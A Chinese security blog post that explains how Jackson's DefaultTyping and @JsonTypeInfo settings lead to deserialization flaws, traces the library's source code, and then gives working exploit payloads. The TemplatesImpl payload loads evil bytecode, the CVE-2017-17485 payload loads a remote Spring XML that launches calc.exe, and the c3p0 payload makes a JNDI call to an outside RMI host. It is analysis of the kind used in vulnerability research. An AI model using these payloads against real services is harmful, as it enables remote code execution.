http://www.lmxspace.com/2019/07/30/Jackson - 反序列化汇总 /
https://thonsun.github.io/2020/11/02/jackjson-fan-xu-lie-hua-lou-dong-li-yong-yuan-li/#toc-heading-2
# jackson 简介
相比于 Fastjson,Jackson 不仅开源稳定易使用,而且拥有 Spring 生态加持,更受使用者的青睐。按照使用者的说法 Jackson 的速度是最快的。
看一下 demo
import com.fasterxml.jackson.core.JsonProcessingException; | |
import com.fasterxml.jackson.databind.ObjectMapper; | |
import java.io.IOException; | |
public class test { | |
public static void main(String[] args){ | |
Student stu = new Student(); | |
stu.name="miku"; | |
stu.age=18; | |
ObjectMapper mapper = new ObjectMapper(); | |
try { | |
String json=mapper.writeValueAsString(stu); | |
System.out.println(json); | |
//{"age":18,"name":"miku"} | |
Student stu1 = mapper.readValue(json,Student.class); | |
System.out.println(stu1); | |
//age=18, name=miku | |
} catch (JsonProcessingException e) { | |
e.printStackTrace(); | |
} catch (IOException e) { | |
e.printStackTrace(); | |
} | |
} | |
} | |
class Student{ | |
public int age; | |
public String name; | |
@Override | |
public String toString() { | |
return String.format("age=%d, name=%s", age, name); | |
} | |
} |
# 特殊的机制
首先 Jackson
有一种特殊的机制 -- Jackson
的多态类型绑定
一种是 Global default typing(全局的 DefaultTyping
),另一种是 @JsonTypeInfo 注解两种方式
# DefauleTyping
在这个方式里面一种有 4 个值
分别看看这四个值的作用是什么
# JAVA_LANG_OBJECT
JAVA_LANG_OBJECT :当类里的属性声明为一个 Object 时,会对该属性进行序列化和反序列化,并且明确规定类名。(当然,这个 Object 本身也得是一个可被序列化 / 反序列化的类)。
例如下面的代码,我们给 People 里添加一个 Object object 。
import com.fasterxml.jackson.core.JsonProcessingException; | |
import com.fasterxml.jackson.databind.ObjectMapper; | |
import java.io.IOException; | |
public class test { | |
public static void main(String args[]) throws IOException { | |
People p = new People(); | |
p.age = 10; | |
p.name = "l1nk3r"; | |
p.object = new l1nk3r(); | |
ObjectMapper mapper = new ObjectMapper(); | |
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT); | |
String json = mapper.writeValueAsString(p); | |
System.out.println(json); | |
//{"age":10,"name":"com.l1nk3r.jackson.l1nk3r","object":["com.l1nk3r.jackson.l1nk3r",{"length":100}]} | |
People p2 = mapper.readValue(json, People.class); | |
System.out.println(p2); | |
//age=10, name=com.l1nk3r.jackson.l1nk3r, com.l1nk3r.jackson.l1nk3r@4566e5bd | |
} | |
} | |
class People { | |
public int age; | |
public String name; | |
public Object object; | |
@Override | |
public String toString() { | |
return String.format("age=%d, name=%s, %s", age, name, object == null ? "null" : object); | |
} | |
} | |
class l1nk3r { | |
public int length = 100; | |
} |
# OBJECT_AND_NON_CONCRETE
OBJECT_AND_NON_CONCRETE :除了上文 提到的特征,当类里有 Interface 、 AbstractClass 时,对其进行序列化和反序列化。(当然,这些类本身需要是合法的、可以被序列化 / 反序列化的对象)。
例如下面的代码,这次我们添加名为 Sex 的 interface ,发现它被正确序列化、反序列化了,就是这个选项控制的。
import com.fasterxml.jackson.core.JsonProcessingException; | |
import com.fasterxml.jackson.databind.ObjectMapper; | |
import java.io.IOException; | |
public class test { | |
public static void main(String args[]) throws IOException { | |
People p = new People(); | |
p.age = 10; | |
p.name = "l1nk3r"; | |
p.object = new l1nk3r(); | |
p.sex=new MySex(); | |
ObjectMapper mapper = new ObjectMapper(); | |
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE); | |
String json = mapper.writeValueAsString(p); | |
System.out.println(json); | |
//{"age":10,"name":"com.l1nk3r.jackson.l1nk3r","object":["com.l1nk3r.jackson.l1nk3r",{"length":100}],"sex":["com.l1nk3r.jackson.MySex",{"sex":0}]} | |
People p2 = mapper.readValue(json, People.class); | |
System.out.println(p2); | |
//age=10, name=com.l1nk3r.jackson.l1nk3r, com.l1nk3r.jackson.l1nk3r@ff5b51f | |
} | |
} | |
class People { | |
public int age; | |
public String name; | |
public Object object; | |
public Sex sex; | |
@Override | |
public String toString() { | |
return String.format("age=%d, name=%s, %s", age, name, object == null ? "null" : object); | |
} | |
} | |
class l1nk3r { | |
public int length = 100; | |
} | |
class MySex implements Sex { | |
int sex; | |
@Override | |
public int getSex() { | |
return sex; | |
} | |
@Override | |
public void setSex(int sex) { | |
this.sex = sex; | |
} | |
} | |
interface Sex { | |
public void setSex(int sex); | |
public int getSex(); | |
} |
默认的、无参的 enableDefaultTyping 是 OBJECT_AND_NON_CONCRETE 。
# NON_CONCRETE_AND_ARRAYS
NON_CONCRETE_AND_ARRAYS :除了上文提到的特征,还支持上文全部类型的 Array 类型。
例如下面的代码,我们的 Object
里存放 l1nk3r
的数组。
import com.fasterxml.jackson.core.JsonProcessingException; | |
import com.fasterxml.jackson.databind.ObjectMapper; | |
import java.io.IOException; | |
public class test { | |
public static void main(String args[]) throws IOException { | |
People p = new People(); | |
p.age = 10; | |
p.name = "com.l1nk3r.jackson.l1nk3r"; | |
l1nk3r[] l1nk3rs= new l1nk3r[2]; | |
l1nk3rs[0]=new l1nk3r(); | |
l1nk3rs[1]=new l1nk3r(); | |
p.object = l1nk3rs; | |
p.sex=new MySex(); | |
ObjectMapper mapper = new ObjectMapper(); | |
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS); | |
String json = mapper.writeValueAsString(p); | |
System.out.println(json); | |
//{"age":10,"name":"com.l1nk3r.jackson.l1nk3r","object":["[Ll1nk3r;",[{"length":100},{"length":100}]],"sex":["MySex",{"sex":0}]} | |
People p2 = mapper.readValue(json, People.class); | |
System.out.println(p2); | |
//age=10, name=com.l1nk3r.jackson.l1nk3r, [Ll1nk3r;@490ab905 | |
} | |
} | |
class People { | |
public int age; | |
public String name; | |
public Object object; | |
public Sex sex; | |
@Override | |
public String toString() { | |
return String.format("age=%d, name=%s, %s", age, name, object == null ? "null" : object); | |
} | |
} | |
class l1nk3r { | |
public int length = 100; | |
} | |
class MySex implements Sex { | |
int sex; | |
@Override | |
public int getSex() { | |
return sex; | |
} | |
@Override | |
public void setSex(int sex) { | |
this.sex = sex; | |
} | |
} | |
interface Sex { | |
public void setSex(int sex); | |
public int getSex(); | |
} |
# NON_FINAL
NON_FINAL :包括上文提到的所有特征,而且包含即将被序列化的类里的全部、非 final
的属性,也就是相当于整个类、除 final
外的的属性信息都需要被序列化和反序列化。
例如下面的代码,添加了类型为 l1nk3r
的变量,非 Object
也非虚,但也可以被序列化出来。
import com.fasterxml.jackson.core.JsonProcessingException; | |
import com.fasterxml.jackson.databind.ObjectMapper; | |
import java.io.IOException; | |
public class test { | |
public static void main(String args[]) throws IOException { | |
People p = new People(); | |
p.age = 10; | |
p.name = "l1nk3r"; | |
p.object = new l1nk3r(); | |
p.sex=new MySex(); | |
p.l1nk3r=new l1nk3r(); | |
ObjectMapper mapper = new ObjectMapper(); | |
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL); | |
String json = mapper.writeValueAsString(p); | |
System.out.println(json); | |
People p2 = mapper.readValue(json, People.class); | |
System.out.println(p2); | |
} | |
} | |
class People { | |
public int age; | |
public String name; | |
public Object object; | |
public Sex sex; | |
public l1nk3r l1nk3r; | |
@Override | |
public String toString() { | |
return String.format("age=%d, name=%s, %s", age, name, object == null ? "null" : object, sex == null ? "null" : sex, | |
l1nk3r == null ? "null" : l1nk3r); | |
} | |
} | |
class l1nk3r { | |
public int length = 100; | |
} | |
class MySex implements Sex { | |
int sex; | |
@Override | |
public int getSex() { | |
return sex; | |
} | |
@Override | |
public void setSex(int sex) { | |
this.sex = sex; | |
} | |
} | |
interface Sex { | |
public void setSex(int sex); | |
public int getSex(); | |
} |
# @JsonTypeInfo 注解
@JsonTypeInfo 也是 jackson
多态类型绑定的一种方式,它一共支持下面 5 种类型的取值
@JsonTypeInfo(use = JsonTypeInfo.Id.NONE) | |
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS) | |
@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS) | |
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME) | |
@JsonTypeInfo(use = JsonTypeInfo.Id.COSTOM) |
下面使用一段测试代码可以看看这五个类型的分别作用。
import com.fasterxml.jackson.annotation.JsonTypeInfo; | |
import com.fasterxml.jackson.core.JsonProcessingException; | |
import com.fasterxml.jackson.databind.ObjectMapper; | |
import java.io.IOException; | |
public class test { | |
public static void main(String[] args) throws IOException { | |
ObjectMapper mapper= new ObjectMapper(); | |
User user = new User(); | |
user.name= "l1nk3r"; | |
user.age=100; | |
user.obj=new Height(); | |
String json = mapper.writeValueAsString(user); | |
System.out.println(json); | |
} | |
} | |
class User{ | |
public String name; | |
public int age; | |
@JsonTypeInfo(use = JsonTypeInfo.Id.NONE) | |
public Object obj; | |
public String toString(){ | |
return "name:" + name + " age:" + age + " obj:" + obj; | |
} | |
} | |
class Height{ | |
public int h = 100; | |
} |
# Id.NONE
这种方式的输出结果实际上是我们最想要的,这里只需要相关参数的值,并没有其他一些无用信息。
{"name":"l1nk3r","age":100,"obj":{"h":100}} |
# Id.CLASS
这种方式的输出结果中携带了相关 java 类,也就是说反序列化的时候如果使用了 JsonTypeInfo.Id.CLASS
修饰的话,可以通过 @class 方式指定相关类,并进行相关调用。
{"name":"l1nk3r","age":100,"obj":{"@class":"com.l1nk3r.jackson.Height","h":100}} |
# Id.MINIMAL_CLASS
这种方式的输出结果也携带了相关类,和 id.CLASS 的区别在 @class 变成了 @c ,从官方文档中描述中这个应该是一个更短的类名字。同样也就是说反序列化的时候如果使用了 JsonTypeInfo.Id.MINIMAL_CLASS
修饰的话,可以通过 @c 方式指定相关类,并进行相关调用。
{"name":"l1nk3r","age":100,"obj":{"@c":"com.l1nk3r.jackson.Height","h":100}} |
# Id.NAME
这种输出方式没有携带类名字,在反序列化时也是不可以利用的。
{"name":"l1nk3r","age":100,"obj":{"@type":"Height","h":100}} |
# Id.CUSTOM
这个无法直接用,需要手写一个解析器才可以配合使用,所以直接会抛出异常
# 小结
所以按照上述分析,3 种情况下可以触发 Jackson 反序列化漏洞
enableDefaultTyping()
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS
@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS
# jackson 反序列化
# DefaultTyping
demo
import com.fasterxml.jackson.annotation.JsonTypeInfo; | |
import com.fasterxml.jackson.core.JsonProcessingException; | |
import com.fasterxml.jackson.databind.ObjectMapper; | |
import java.io.IOException; | |
public class test { | |
public static void main(String args[]) throws IOException { | |
ObjectMapper mapper = new ObjectMapper(); | |
mapper.enableDefaultTyping(); | |
String json="{\"age\":10,\"name\":\"l1nk3r\",\"sex\":[\"MySex\",{\"sex\":100}]}"; | |
People p2 = mapper.readValue(json, People.class); | |
System.out.println(p2); | |
} | |
} | |
class People { | |
public int age; | |
public String name; | |
public Sex sex; | |
@Override | |
public String toString() { | |
return String.format("age=%d, name=%s, sex=%d", age, name,sex.getSex()); | |
} | |
} | |
class MySex implements Sex { | |
int sex; | |
@Override | |
public int getSex() { | |
return sex; | |
} | |
@Override | |
public void setSex(int sex) { | |
this.sex = sex; | |
} | |
} | |
interface Sex { | |
public void setSex(int sex); | |
public int getSex(); | |
} |
进入
跟进
首先 createDeserializationContext
依据配置和 json
串对应的 paser
获取上下文 context
接着 _findRootDeserializer
依据 Json
串上下文和 Json
类型信息最终返回 JSON
对应的 Deserializer
, 可用与后面调用 deserial
方法从 json
串中还原对象,在后面的分析可以知道,实际是调用 setter
| getter
| 反射对默认构造器获得的对象赋值。 这个方法才是重点,简述了后面为什么有些利用链利用的是 getter 方法
跟进
在 _findRootDeserializer
⽅法中,会尝试从根节点去获取 Deserializer
,类似于缓存的操作,由于这是第⼀次获取 Deserializer
,所以⾃然从根节点是取不到的
会进⼊到 findRootValueDeserializer
⽅法中获取 Deserializer
该⽅法会从尝试从缓存中获取 Deserializer
,这⾥的获取⽅式有点不同了,它不是单纯的从个 map
中去调⽤ get
⽅法获取,⽽是会经过⼀系列很复杂的获取⽅式后,判断是否获取到了,如果获取不到,会调⽤ _createAndCacheValueDeserializer
去创建⼀个 Deserializer
并对其进⾏缓存。最后会通过 buildBeanDeserializer
⽅法创建⼀ BeanDeserializer
(因为前⾯的⼀系列判断都不满⾜,⽐如判断 Type
的类型,如判断是不是 Enum,Container,Reference
等)
并通过下⾯⼏个⽅法来为创建好的 BeanDeserializer
对象赋值
调用栈
跟进方法
主要的逻辑在于解决字段与 setter
| getter
| 反射的绑定,用于后面解析 json
串还原对象
然后由 deser
进行反序列化
进入
跟进
首先从上下文获取类的对象 bean
, 然后获取类中的属性名称 prop
字段的赋值在 SettableBeanProperty.deserializeAndSet()
: 不同的 SettableBeanProperty
有不同的行为
这里调用是 setter
方法
通过反射调用其 setter
方法
# JsonTypeInfo
同上
# 利用链
# TemplatesImpl
import com.fasterxml.jackson.annotation.JsonTypeInfo; | |
import com.fasterxml.jackson.core.JsonProcessingException; | |
import com.fasterxml.jackson.databind.ObjectMapper; | |
import java.io.File; | |
import java.io.FileInputStream; | |
import java.io.IOException; | |
import java.util.Base64; | |
public class test { | |
public static void main(String[] args) throws Exception{ | |
String exp = fileToBase64("C:\\Users\\13728\\IdeaProjects\\jackson\\target\\classes\\evil.class"); | |
exp = exp.replace("\n",""); | |
String jsonInput = aposToQuotes("{\"object\":['com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" + | |
"{\n" + | |
"'transletBytecodes':['"+exp+"'],\n" + | |
"'transletName':'feng',\n" + | |
"'outputProperties':{}\n" + | |
"}\n" + | |
"]\n" + | |
"}"); | |
ObjectMapper mapper = new ObjectMapper(); | |
mapper.enableDefaultTyping(); | |
mapper.readValue(jsonInput, evil.class); | |
} | |
public static String aposToQuotes(String json){ | |
return json.replace("'","\""); | |
} | |
public static String fileToBase64(String filePath) throws IOException, IllegalAccessException, InstantiationException { | |
File file = new File(filePath); | |
FileInputStream inputFile = new FileInputStream(file); | |
byte[] buffer = new byte[(int) file.length()]; | |
inputFile.read(buffer); | |
inputFile.close(); | |
byte[] bs = Base64.getEncoder().encode(buffer); | |
return new String(bs); | |
} | |
} |
注意,在 7u21 版本是可以的,高版本的 jdk 会出问题
我们将 _tfactory 字段补齐,发现还是不行,原因是出在了 jackson 上,在 BeanPropertyMap 中 SettableBeanProperty find 的时候没有获取 _tfactory 的结果。
但是这个 payload 在 1.8.0_40 上是 ok 的。
深入看 1.8.0_40 的 defineTransletClasses 是还是和 jdk1.7.0_25 的一样,所以也就是说该利用方式具体影响 jdk1.8 以上哪些版本需要详细测试一下。
# ClassPathXmlApplicationContext 利用链(CVE-2017-17485)
# 影响版本
Jackson 2.7 系列 < 2.7.9.2
Jackson 2.8 系列 < 2.8.11
Jackson 2.9 系列 < 2.9.4
# 环境
这里我用的 JDK8
还需要有 Spring 的依赖,pom 写依赖即可。
# POC
["org.springframework.context.support.ClassPathXmlApplicationContext", "http://127.0.0.1:39876/spel.xml"] |
spel.xml:
<beans xmlns="http://www.springframework.org/schema/beans" | |
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" | |
xsi:schemaLocation=" | |
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> | |
<bean id="pb" class="java.lang.ProcessBuilder"> | |
<constructor-arg value="calc.exe" /> | |
<property name="whatever" value="#{ pb.start() }"/> | |
</bean> | |
</beans> |
# 分析
简单提一下的,利用的并不是什么 setter 和 getter,而是因为这样传参,会把参数 Sring 作为构造器的参数传入,导致调用:
public ClassPathXmlApplicationContext(String configLocation) throws BeansException { | |
this(new String[] {configLocation}, true, null); | |
} |
跟进:
public ClassPathXmlApplicationContext(String[] configLocations, boolean refresh, ApplicationContext parent) | |
throws BeansException { | |
super(parent); | |
setConfigLocations(configLocations); | |
if (refresh) { | |
refresh(); | |
} | |
} |
调用 refresh()
,之后就是 spring
读取 xml
文件进行 bean
的相关处理(
最后就是一个 SpEL 表达式注入:
else if (value instanceof TypedStringValue) { | |
// Convert value to target type here. | |
TypedStringValue typedStringValue = (TypedStringValue) value; | |
Object valueObject = evaluate(typedStringValue); | |
try { | |
protected Object evaluateBeanDefinitionString(String value, BeanDefinition beanDefinition) { | |
if (this.beanExpressionResolver == null) { | |
return value; | |
} | |
Scope scope = (beanDefinition != null ? getRegisteredScope(beanDefinition.getScope()) : null); | |
return this.beanExpressionResolver.evaluate(value, new BeanExpressionContext(this, scope)); | |
} |
很明显能看出来这种利用需要能出网。
# c3p0 利用链
# jndi
String payload = "[\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\", {\"jndiName\":\"rmi://120.79.0.164:1099/if2xrq\", \"loginTimeout\":0}]"; | |
ObjectMapper mapper = new ObjectMapper(); | |
mapper.enableDefaultTyping(); | |
mapper.readValue(payload, Object.class); |
# hex base
与 c3p0 分析一样,不多写了